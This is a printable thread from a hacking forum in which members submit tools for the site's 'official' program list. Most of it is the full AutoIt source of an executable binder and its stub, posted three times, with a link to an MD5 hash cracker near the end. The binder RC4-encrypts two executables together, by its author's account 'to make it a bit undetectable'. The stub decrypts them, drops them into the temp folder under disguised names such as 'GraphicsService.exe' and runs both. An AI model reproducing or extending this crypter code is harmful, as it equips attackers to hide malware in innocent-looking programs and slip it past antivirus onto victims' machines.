Your program in the official HC Programs?

Your program in the official HC Programs? - Printable Version

+- Sinisterly (https://sinister.ly)
+-- Forum: Hacking (https://sinister.ly/Forum-Hacking)
+--- Forum: Hacking Tools (https://sinister.ly/Forum-Hacking-Tools)
+--- Thread: Your program in the official HC Programs? (/Thread-Your-program-in-the-official-HC-Programs)

Pages: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17

RE: Your program in the official HC Programs? - bluedog.tar.gz - 12-29-2012

(12-29-2012, 11:33 PM)Guxi Wrote: Can i get official logo and font used in logo. I'll try to program something nice so i can hopefully publish something into 'official' of this forum.

Thanks

Deliver the program first so I can resize the logo to it. I'll just send you it.

RE: Your program in the official HC Programs? - Solixious - 01-28-2013

I'd wish to apply for one tool i made.
Name : Hack Community Binder Biggrin

Description : It can be used to bind two executable files together. It will also encrypt them before binding them, to make it a bit undetectable.
Coded in : Autoit3
Screenshot : [Image: HC_Binder.png]

Source [binder] :

Code:
#include<GUIConstants.au3>
#include<EditConstants.au3>
#include<Crypt.au3>
#include<WindowsConstants.au3>

Opt("GUIOnEventMode",1)
$color1=0x090909
$color2=0xa9595a
$color3=0x777777
$frame=GUICreate("Binder",400,300,200,200,$WS_POPUPWINDOW)
$header1=GUICtrlCreateLabel("Hack Community",20,20,360,50)
$header2=GUICtrlCreateLabel("Binder",220,60,100,50)
$label1=GUICtrlCreateLabel("File 1",20,130,60,20)
$label2=GUICtrlCreateLabel("File 2",20,170,60,20)
$label3=GUICtrlCreateLabel("Output Path",20,210,60,20)
$input1=GUICtrlCreateInput("",90,130,250,20,$ES_AUTOHSCROLL+$ES_READONLY+$ES_OEMCONVERT)
$input2=GUICtrlCreateInput("",90,170,250,20,$ES_AUTOHSCROLL+$ES_READONLY+$ES_OEMCONVERT)
$input3=GUICtrlCreateInput("",90,210,250,20,$ES_AUTOHSCROLL+$ES_READONLY+$ES_OEMCONVERT)
$button1=GUICtrlCreateButton("...",350,130,30,20)
$button2=GUICtrlCreateButton("...",350,170,30,20)
$button3=GUICtrlCreateButton("...",350,210,30,20)
$bind=GUICtrlCreateButton("Bind",190,250,70,25)
$close=GUICtrlCreateButton("Close",270,250,70,25)
$about=GUICtrlCreateButton(">>",370,270,20,20)
$frame2=GUICreate("",300,100,600,400,$WS_POPUPWINDOW)

$label=GUICtrlCreateLabel("Author : Solixious Klein" & @CRLF & "Special Thanks : Deque and Coder-San" & @CRLF & "www.hackcommunity.com",20,20,300,100)
$view=0
init()
GUICtrlSetOnEvent($close,"quit")
GUICtrlSetOnEvent($button1,"getpath1")
GUICtrlSetOnEvent($button2,"getpath2")
GUICtrlSetOnEvent($button3,"getpath3")
GUICtrlSetOnEvent($bind,"bind")
GUICtrlSetOnEvent($about,"about")
GUISetState(@SW_SHOW,$frame)
GUISetOnEvent($GUI_EVENT_CLOSE,"quit",$frame)
While 1
   ;
WEnd

Func init()
   GUICtrlSetFont($header1,27)
   GUICtrlSetFont($header2,25)
   GUICtrlSetFont($label1,14)
   GUICtrlSetFont($label2,14)
   GUICtrlSetFont($label3,14)
   GUICtrlSetFont($label,11)
   GUICtrlSetFont($bind,12)
   GUICtrlSetFont($close,12)
   GUICtrlSetFont($input1,12)
   GUICtrlSetFont($input2,12)
   GUICtrlSetFont($input3,12)
   GUISetBkColor($color1,$frame)
   GUISetBkColor($color1,$frame2)
   GUICtrlSetBkColor($input1,$color3)
   GUICtrlSetBkColor($input2,$color3)
   GUICtrlSetBkColor($input3,$color3)
   GUICtrlSetBkColor($button1,$color2)
   GUICtrlSetBkColor($button2,$color2)
   GUICtrlSetBkColor($button3,$color2)
   GUICtrlSetColor($label1,$color2)
   GUICtrlSetColor($label2,$color2)
   GUICtrlSetColor($label,$color2)
   GUICtrlSetColor($label3,$color2)
   GUICtrlSetBkColor($bind,$color2)
   GUICtrlSetBkColor($close,$color2)
   GUICtrlSetBkColor($about,$color2)
   GUICtrlSetColor($header1,$color2)
   GUICtrlSetColor($header2,$color3)
EndFunc

Func quit()
   Exit
EndFunc

Func getpath1()
   $filepath=FileOpenDialog("Open Executable File",@MyDocumentsDir,"Executable File (*.exe)",1,"",$frame)
   If @error Then
	  ;
   Else
	  GUICtrlSetData($input1,$filepath)
   EndIf
EndFunc

Func getpath2()
   $filepath=FileOpenDialog("Open Executable File",@MyDocumentsDir,"Executable File (*.exe)",1,"",$frame)
   If @error Then
	  ;
   Else
	  GUICtrlSetData($input2,$filepath)
   EndIf
EndFunc


Func getpath3()
   $filepath=FileSaveDialog("Save Binded File",@MyDocumentsDir,"Executable File (*.exe)",16,"",$frame) & ".exe"
   If @error Then
	  ;
   Else
	  GUICtrlSetData($input3,$filepath)
   EndIf
EndFunc

Func bind()
   $path1=GUICtrlRead($input1)
   $path2=GUICtrlRead($input2)
   $path3=GUICtrlRead($input3)
   If FileExists($path1) And FileExists($path2) Then
	  $marker=StringToBinary("SOLIXIOUS")
	  $output=FileOpen($path3,1+2+8+16)
	  $inputx1=FileOpen($path1,0+16)
	  $inputx2=FileOpen($path2,0+16)
	  $data1=FileRead($inputx1)
	  $data2=FileRead($inputx2)
	  $stub=FileOpen(@ScriptDir & "\Stub.exe",0+16)
	  $stubdata=FileRead($stub)
	  FileWrite($output,$stubdata)
	  FileWrite($output,$marker)
	  $data1=encrypt(BinaryToString($data1))
	  $data2=encrypt(BinaryToString($data2))
	  FileWrite($output,StringToBinary($data1))
	  FileWrite($output,$marker)
	  FileWrite($output,StringToBinary($data2))
	  FileClose($output)
	  FileClose($inputx1)
	  FileClose($inputx2)
	  MsgBox(64,"Successful","Files Binded Successfully!")
	  GUICtrlSetData($input1,"")
	  GUICtrlSetData($input2,"")
	  GUICtrlSetData($input3,"")
   EndIf
EndFunc

Func encrypt($data)
   $data=_Crypt_EncryptData($data,"SOLIXIOUS",$CALG_RC4)
   Return $data
EndFunc

Func about()
   If $view=0 Then
	  GUISetState(@SW_SHOW,$frame2)
	  GUICtrlSetData($about,"<<")
	  $view=1
   Else
	  GUISetState(@SW_HIDE,$frame2)
	  GUICtrlSetData($about,">>")
	  $view=0
   EndIf
EndFunc

Source [stub]

Code:
#include<Crypt.au3>

$path=@ScriptFullPath
$file=FileOpen($path,0+16)
$data=FileRead($file)
$marker="SOLIXIOUS"
$strdata=BinaryToString($data)
$ardata=StringSplit($strdata,$marker,1)
HotKeySet("+!c","quit")
If @error Then
   MsgBox(0,"No Delimiters","No delimiters Found!")
Else
   If $ardata[0]=3 Then
	  $ardata[2]=decrypt(BinaryToString($ardata[2]))
	  $ardata[3]=decrypt(BinaryToString($ardata[3]))
	  $file1=FileOpen(@TempDir & "\GraphicsAccelerator.exe",2+16)
	  FileWrite($file1,$ardata[2])
	  FileClose($file1)
	  $file2=FileOpen(@TempDir & "\GraphicsService.exe",2+16)
	  FileWrite($file1,$ardata[3])
	  FileClose($file2)
	  ShellExecute(@TempDir & "\GraphicsAccelerator.exe")
	  ShellExecute(@TempDir & "\GraphicsService.exe")
	  While 1
		 ;
	  WEnd
   EndIf
EndIf

Func decrypt($data)
   $data=_Crypt_DecryptData($data,"SOLIXIOUS",$CALG_RC4)
   return $data
EndFunc

Func quit()
   Exit
EndFunc

Extra Note : I've made it for binding 2 files only right now, I might add more of them later. Pardon me, but my code usually doesn't look very pretty, but it is clean. I mean I'm not infecting anyone Biggrin

Download :
Hack Community Binder x86.rar
Hack Community Binder x86.rar
Hack Community Binder x64

RE: Your program in the official HC Programs? - bluedog.tar.gz - 01-29-2013

(01-28-2013, 05:49 PM)Solixious Wrote: I'd wish to apply for one tool i made.
Name : Hack Community Binder
Description : It can be used to bind two executable files together. It will also encrypt them before binding them, to make it a bit undetectable.
Coded in : Autoit3
Screenshot :
Source [binder] :

Code:
#include<GUIConstants.au3> #include<EditConstants.au3> #include<Crypt.au3> #include<WindowsConstants.au3> Opt("GUIOnEventMode",1) $color1=0x090909 $color2=0xa9595a $color3=0x777777 $frame=GUICreate("Binder",400,300,200,200,$WS_POPUPWINDOW) $header1=GUICtrlCreateLabel("Hack Community",20,20,360,50) $header2=GUICtrlCreateLabel("Binder",220,60,100,50) $label1=GUICtrlCreateLabel("File 1",20,130,60,20) $label2=GUICtrlCreateLabel("File 2",20,170,60,20) $label3=GUICtrlCreateLabel("Output Path",20,210,60,20) $input1=GUICtrlCreateInput("",90,130,250,20,$ES_AUTOHSCROLL+$ES_READONLY+$ES_OEMCONVERT) $input2=GUICtrlCreateInput("",90,170,250,20,$ES_AUTOHSCROLL+$ES_READONLY+$ES_OEMCONVERT) $input3=GUICtrlCreateInput("",90,210,250,20,$ES_AUTOHSCROLL+$ES_READONLY+$ES_OEMCONVERT) $button1=GUICtrlCreateButton("...",350,130,30,20) $button2=GUICtrlCreateButton("...",350,170,30,20) $button3=GUICtrlCreateButton("...",350,210,30,20) $bind=GUICtrlCreateButton("Bind",190,250,70,25) $close=GUICtrlCreateButton("Close",270,250,70,25) $about=GUICtrlCreateButton(">>",370,270,20,20) $frame2=GUICreate("",300,100,600,400,$WS_POPUPWINDOW) $label=GUICtrlCreateLabel("Author : Solixious Klein" & @CRLF & "Special Thanks : Deque and Coder-San" & @CRLF & "www.hackcommunity.com",20,20,300,100) $view=0 init() GUICtrlSetOnEvent($close,"quit") GUICtrlSetOnEvent($button1,"getpath1") GUICtrlSetOnEvent($button2,"getpath2") GUICtrlSetOnEvent($button3,"getpath3") GUICtrlSetOnEvent($bind,"bind") GUICtrlSetOnEvent($about,"about") GUISetState(@SW_SHOW,$frame) GUISetOnEvent($GUI_EVENT_CLOSE,"quit",$frame) While 1 ; WEnd Func init() GUICtrlSetFont($header1,27) GUICtrlSetFont($header2,25) GUICtrlSetFont($label1,14) GUICtrlSetFont($label2,14) GUICtrlSetFont($label3,14) GUICtrlSetFont($label,11) GUICtrlSetFont($bind,12) GUICtrlSetFont($close,12) GUICtrlSetFont($input1,12) GUICtrlSetFont($input2,12) GUICtrlSetFont($input3,12) GUISetBkColor($color1,$frame) GUISetBkColor($color1,$frame2) GUICtrlSetBkColor($input1,$color3) GUICtrlSetBkColor($input2,$color3) GUICtrlSetBkColor($input3,$color3) GUICtrlSetBkColor($button1,$color2) GUICtrlSetBkColor($button2,$color2) GUICtrlSetBkColor($button3,$color2) GUICtrlSetColor($label1,$color2) GUICtrlSetColor($label2,$color2) GUICtrlSetColor($label,$color2) GUICtrlSetColor($label3,$color2) GUICtrlSetBkColor($bind,$color2) GUICtrlSetBkColor($close,$color2) GUICtrlSetBkColor($about,$color2) GUICtrlSetColor($header1,$color2) GUICtrlSetColor($header2,$color3) EndFunc Func quit() Exit EndFunc Func getpath1() $filepath=FileOpenDialog("Open Executable File",@MyDocumentsDir,"Executable File (*.exe)",1,"",$frame) If @error Then ; Else GUICtrlSetData($input1,$filepath) EndIf EndFunc Func getpath2() $filepath=FileOpenDialog("Open Executable File",@MyDocumentsDir,"Executable File (*.exe)",1,"",$frame) If @error Then ; Else GUICtrlSetData($input2,$filepath) EndIf EndFunc Func getpath3() $filepath=FileSaveDialog("Save Binded File",@MyDocumentsDir,"Executable File (*.exe)",16,"",$frame) & ".exe" If @error Then ; Else GUICtrlSetData($input3,$filepath) EndIf EndFunc Func bind() $path1=GUICtrlRead($input1) $path2=GUICtrlRead($input2) $path3=GUICtrlRead($input3) If FileExists($path1) And FileExists($path2) Then $marker=StringToBinary("SOLIXIOUS") $output=FileOpen($path3,1+2+8+16) $inputx1=FileOpen($path1,0+16) $inputx2=FileOpen($path2,0+16) $data1=FileRead($inputx1) $data2=FileRead($inputx2) $stub=FileOpen(@ScriptDir & "\Stub.exe",0+16) $stubdata=FileRead($stub) FileWrite($output,$stubdata) FileWrite($output,$marker) $data1=encrypt(BinaryToString($data1)) $data2=encrypt(BinaryToString($data2)) FileWrite($output,StringToBinary($data1)) FileWrite($output,$marker) FileWrite($output,StringToBinary($data2)) FileClose($output) FileClose($inputx1) FileClose($inputx2) MsgBox(64,"Successful","Files Binded Successfully!") GUICtrlSetData($input1,"") GUICtrlSetData($input2,"") GUICtrlSetData($input3,"") EndIf EndFunc Func encrypt($data) $data=_Crypt_EncryptData($data,"SOLIXIOUS",$CALG_RC4) Return $data EndFunc Func about() If $view=0 Then GUISetState(@SW_SHOW,$frame2) GUICtrlSetData($about,"<<") $view=1 Else GUISetState(@SW_HIDE,$frame2) GUICtrlSetData($about,">>") $view=0 EndIf EndFunc

Source [stub]

Code:
#include<Crypt.au3> $path=@ScriptFullPath $file=FileOpen($path,0+16) $data=FileRead($file) $marker="SOLIXIOUS" $strdata=BinaryToString($data) $ardata=StringSplit($strdata,$marker,1) HotKeySet("+!c","quit") If @error Then MsgBox(0,"No Delimiters","No delimiters Found!") Else If $ardata[0]=3 Then $ardata[2]=decrypt(BinaryToString($ardata[2])) $ardata[3]=decrypt(BinaryToString($ardata[3])) $file1=FileOpen(@TempDir & "\GraphicsAccelerator.exe",2+16) FileWrite($file1,$ardata[2]) FileClose($file1) $file2=FileOpen(@TempDir & "\GraphicsService.exe",2+16) FileWrite($file1,$ardata[3]) FileClose($file2) ShellExecute(@TempDir & "\GraphicsAccelerator.exe") ShellExecute(@TempDir & "\GraphicsService.exe") While 1 ; WEnd EndIf EndIf Func decrypt($data) $data=_Crypt_DecryptData($data,"SOLIXIOUS",$CALG_RC4) return $data EndFunc Func quit() Exit EndFunc

Extra Note : I've made it for binding 2 files only right now, I might add more of them later. Pardon me, but my code usually doesn't look very pretty, but it is clean. I mean I'm not infecting anyone

Download :
Hack Community Binder x86.rar
Hack Community Binder x86.rar
Hack Community Binder x64

Please put the logo in the program along with the correct colors.
Use #FF0000 : )

RE: Your program in the official HC Programs? - Solixious - 01-29-2013

Updated With More HC like color :
[Image: HC_Binder.png]

Binder Source :

Code:
#include<GUIConstants.au3>
#include<EditConstants.au3>
#include<Crypt.au3>
#include<WindowsConstants.au3>
#include<GDIPlus.au3>

Opt("GUIOnEventMode",1)
$color1=0x090909
$color2=0xff0000
$color3=0x777777
$frame=GUICreate("Binder",600,400,200,200,$WS_POPUPWINDOW)
_GDIPlus_Startup()
$hImage = _GDIPlus_ImageLoadFromFile("logo.png")
$hGraphic = _GDIPlus_GraphicsCreateFromHWND($frame)
GUIRegisterMsg($WM_PAINT, "MY_WM_PAINT")

$header=GUICtrlCreateLabel("Binder",340,40,130,50)
$label1=GUICtrlCreateLabel("File 1",20,230,60,20)
$label2=GUICtrlCreateLabel("File 2",20,270,60,20)
$label3=GUICtrlCreateLabel("Output Path",20,310,60,20)
$input1=GUICtrlCreateInput("",90,230,450,20,$ES_AUTOHSCROLL+$ES_READONLY+$ES_OEMCONVERT)
$input2=GUICtrlCreateInput("",90,270,450,20,$ES_AUTOHSCROLL+$ES_READONLY+$ES_OEMCONVERT)
$input3=GUICtrlCreateInput("",90,310,450,20,$ES_AUTOHSCROLL+$ES_READONLY+$ES_OEMCONVERT)
$button1=GUICtrlCreateButton("...",550,230,30,20)
$button2=GUICtrlCreateButton("...",550,270,30,20)
$button3=GUICtrlCreateButton("...",550,310,30,20)
$bind=GUICtrlCreateButton("Bind",190,350,70,25)
$close=GUICtrlCreateButton("Close",270,350,70,25)
$about=GUICtrlCreateButton(">>",570,370,20,20)
$frame2=GUICreate("",300,100,800,500,$WS_POPUPWINDOW)

$label=GUICtrlCreateLabel("Author : Solixious Klein" & @CRLF & "Special Thanks : Deque and Coder-San" & @CRLF & "www.hackcommunity.com",20,20,300,100)
$view=0
init()
GUICtrlSetOnEvent($close,"quit")
GUICtrlSetOnEvent($button1,"getpath1")
GUICtrlSetOnEvent($button2,"getpath2")
GUICtrlSetOnEvent($button3,"getpath3")
GUICtrlSetOnEvent($bind,"bind")
GUICtrlSetOnEvent($about,"about")
GUISetState(@SW_SHOW,$frame)
GUISetOnEvent($GUI_EVENT_CLOSE,"quit",$frame)
While 1
   ;
WEnd

Func MY_WM_PAINT($hWnd, $msg, $wParam, $lParam)
    #forceref $hWnd, $Msg, $wParam, $lParam
    _WinAPI_RedrawWindow($frame, 0, 0, $RDW_UPDATENOW)
    _GDIPlus_GraphicsDrawImage($hGraphic, $hImage, 0, 0)
    _WinAPI_RedrawWindow($frame, 0, 0, $RDW_VALIDATE)
    Return $GUI_RUNDEFMSG
 EndFunc
 
Func init()
   GUICtrlSetFont($header,25,700,2)
   GUICtrlSetFont($label1,14)
   GUICtrlSetFont($label2,14)
   GUICtrlSetFont($label3,14)
   GUICtrlSetFont($label,11)
   GUICtrlSetFont($bind,12)
   GUICtrlSetFont($close,12)
   GUICtrlSetFont($input1,12)
   GUICtrlSetFont($input2,12)
   GUICtrlSetFont($input3,12)
   GUISetBkColor($color1,$frame)
   GUISetBkColor($color1,$frame2)
   GUICtrlSetBkColor($input1,$color3)
   GUICtrlSetBkColor($input2,$color3)
   GUICtrlSetBkColor($input3,$color3)
   GUICtrlSetBkColor($button1,$color2)
   GUICtrlSetBkColor($button2,$color2)
   GUICtrlSetBkColor($button3,$color2)
   GUICtrlSetColor($label1,$color2)
   GUICtrlSetColor($label2,$color2)
   GUICtrlSetColor($label,$color2)
   GUICtrlSetColor($label3,$color2)
   GUICtrlSetBkColor($bind,$color2)
   GUICtrlSetBkColor($close,$color2)
   GUICtrlSetBkColor($about,$color2)
   GUICtrlSetColor($header,$color2)
EndFunc

Func quit()
   _GDIPlus_GraphicsDispose($hGraphic)
   _GDIPlus_ImageDispose($hImage)
   _GDIPlus_Shutdown()
   Exit
EndFunc

Func getpath1()
   $filepath=FileOpenDialog("Open Executable File",@MyDocumentsDir,"Executable File (*.exe)",1,"",$frame)
   If @error Then
	  ;
   Else
	  GUICtrlSetData($input1,$filepath)
   EndIf
EndFunc

Func getpath2()
   $filepath=FileOpenDialog("Open Executable File",@MyDocumentsDir,"Executable File (*.exe)",1,"",$frame)
   If @error Then
	  ;
   Else
	  GUICtrlSetData($input2,$filepath)
   EndIf
EndFunc


Func getpath3()
   $filepath=FileSaveDialog("Save Binded File",@MyDocumentsDir,"Executable File (*.exe)",16,"",$frame) & ".exe"
   If @error Then
	  ;
   Else
	  GUICtrlSetData($input3,$filepath)
   EndIf
EndFunc

Func bind()
   $path1=GUICtrlRead($input1)
   $path2=GUICtrlRead($input2)
   $path3=GUICtrlRead($input3)
   If FileExists($path1) And FileExists($path2) Then
	  $marker=StringToBinary("SOLIXIOUS")
	  $output=FileOpen($path3,1+2+8+16)
	  $inputx1=FileOpen($path1,0+16)
	  $inputx2=FileOpen($path2,0+16)
	  $data1=FileRead($inputx1)
	  $data2=FileRead($inputx2)
	  $stub=FileOpen(@ScriptDir & "\Stub.exe",0+16)
	  $stubdata=FileRead($stub)
	  FileWrite($output,$stubdata)
	  FileWrite($output,$marker)
	  $data1=encrypt(BinaryToString($data1))
	  $data2=encrypt(BinaryToString($data2))
	  FileWrite($output,StringToBinary($data1))
	  FileWrite($output,$marker)
	  FileWrite($output,StringToBinary($data2))
	  FileClose($output)
	  FileClose($inputx1)
	  FileClose($inputx2)
	  MsgBox(64,"Successful","Files Binded Successfully!")
	  GUICtrlSetData($input1,"")
	  GUICtrlSetData($input2,"")
	  GUICtrlSetData($input3,"")
   EndIf
EndFunc

Func encrypt($data)
   $data=_Crypt_EncryptData($data,"SOLIXIOUS",$CALG_RC4)
   Return $data
EndFunc

Func about()
   If $view=0 Then
	  GUISetState(@SW_SHOW,$frame2)
	  GUICtrlSetData($about,"<<")
	  $view=1
   Else
	  GUISetState(@SW_HIDE,$frame2)
	  GUICtrlSetData($about,">>")
	  $view=0
   EndIf
EndFunc

Stub Source :

Code:
#include<Crypt.au3>

$path=@ScriptFullPath
$file=FileOpen($path,0+16)
$data=FileRead($file)
$marker="SOLIXIOUS"
$strdata=BinaryToString($data)
$ardata=StringSplit($strdata,$marker,1)
HotKeySet("+!c","quit")
If @error Then
   MsgBox(0,"No Delimiters","No delimiters Found!")
Else
   If $ardata[0]=3 Then
	  $ardata[2]=decrypt(BinaryToString($ardata[2]))
	  $ardata[3]=decrypt(BinaryToString($ardata[3]))
	  $file1=FileOpen(@TempDir & "\GraphicsAccelerator.exe",2+16)
	  FileWrite($file1,$ardata[2])
	  FileClose($file1)
	  $file2=FileOpen(@TempDir & "\GraphicsService.exe",2+16)
	  FileWrite($file1,$ardata[3])
	  FileClose($file2)
	  ShellExecute(@TempDir & "\GraphicsAccelerator.exe")
	  ShellExecute(@TempDir & "\GraphicsService.exe")
	  While 1
		 ;
	  WEnd
   EndIf
EndIf

Func decrypt($data)
   $data=_Crypt_DecryptData($data,"SOLIXIOUS",$CALG_RC4)
   return $data
EndFunc

Func quit()
   Exit
EndFunc

Download Link : Hack Community Binder x86.rar
(I'll upload them in other websites later, My connection is giving some problems currently )

RE: Your program in the official HC Programs? - krislovesholly - 02-03-2013

this is pissing me off i tried coding a few things for hc but it comes up with shit like krypt in virus scan coding it with vb it does my head in Sad

but been coded with just some simple coding does anyone know about this ? and that binder looks great

RE: Your program in the official HC Programs? - bluedog.tar.gz - 02-03-2013

(02-03-2013, 03:25 AM)krislovesholly Wrote: this is pissing me off i tried coding a few things for hc but it comes up with shit like krypt in virus scan coding it with vb it does my head in but been coded with just some simple coding does anyone know about this ? and that binder looks great

I recommend you making a thread in the program discussion for help.

RE: Your program in the official HC Programs? - Ex094 - 03-02-2013

An HC Official tool must have a GUI??? (Is CLI Allowed?)

RE: Your program in the official HC Programs? - bluedog.tar.gz - 03-02-2013

(03-02-2013, 06:06 AM)Ex094 Wrote: An HC Official tool must have a GUI??? (Is CLI Allowed?)

CLI is allowed as long as it displays some stuff related to HC.

RE: Your program in the official HC Programs? - Ex094 - 03-06-2013

Name: MD5 Hash Cracker

Description: Compares Hashes from the wordlist with the one that the user has input (Dictionary Method)

Coded in: Python 3.3

Screenshots:

[Image: IzIKnRy.png]

Source: http://www.hackcommunity.com/Thread-Contest-hash-cracker?pid=123638#pid123638

Program: http://www.mediafire.com/?qftt54cpk5t2e77